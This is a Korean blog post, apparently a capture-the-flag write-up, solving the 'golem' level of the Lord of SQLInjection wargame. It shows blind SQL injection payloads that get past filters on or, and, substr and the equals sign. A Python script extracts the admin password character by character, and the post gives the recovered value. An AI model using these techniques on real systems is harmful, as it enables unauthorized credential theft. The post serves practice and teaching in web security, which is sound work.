-
[LOS] golemWargame/Lord of SQLInjection 2019. 7. 5. 01:53
[golem] https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php
admin의 pw를 알아내는 Blind SQL Injection 문제이다.
or, and, substr(, =이 필터링되어 있다.
[ = 우회 ]
like, between
[ substr 우회 ]
right, left, mid우선 쿼리문을 참으로 만들어주었을때 페이지에 어떤 값이 출력되는지 보았다.
?pw='||true%23
쿼리문이 참이면 'Hello guest'가 출력된다.
admin의 pw를 찾아야 하기 때문에 'Hello admin'이 출력되게 해서 찾아야 한다.
?pw='||id like 'admin'%26%26true%23
이제 true가 되면 Hello admin이 출력된다.
이를 이용하여 Blind SQL Injection을 시도할 수 있을 것이다.
1. pw 길이
?pw' || id like 'admin'%26%26length(pw) like n%23
?pw' || id like 'admin'%26%26length(pw) < n%23
2. pw 값
?pw' || id like 'admin'%26%26pw like 'a%
?pw=' || id like 'admin'%26%26right(left(pw, n), 1) like '[0 - 9], [a - z]
?pw=' || id like 'admin'%26%26mid(pw, n, 1) like '[0 - 9], [a - z]
?pw=' || id like 'admin'%26%26ascii(right(left(pw, n), 1)) like 97%23
?pw=' || id like 'admin'%26%26ascii(mid(pw, n, 1)) like 97%23python을 이용하여 pw를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'} url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" string = "1234567890abcdefghijklmnopqrstuvwxyz" pw = '' len = 1 while True: data = "?pw=' || id like 'admin'%26%26length(pw) < " + str(len) + "%23" r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : break len += 1 print "[+] Get Password Length : ",len - 1 for i in range(1, len): for j in string: data = "?pw=' || id like 'admin'%26%26pw like '" + pw + j + "%" r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : pw = pw + j print "[*] Finding ... : ", pw break print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 77d6290b
?pw=77d6290b
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] bugbear (0) 2019.07.05 [LOS] darkknight (0) 2019.07.05 [LOS] skeleton (0) 2019.07.05 [LOS] vampire (0) 2019.07.05 [LOS] troll (0) 2019.07.05 댓글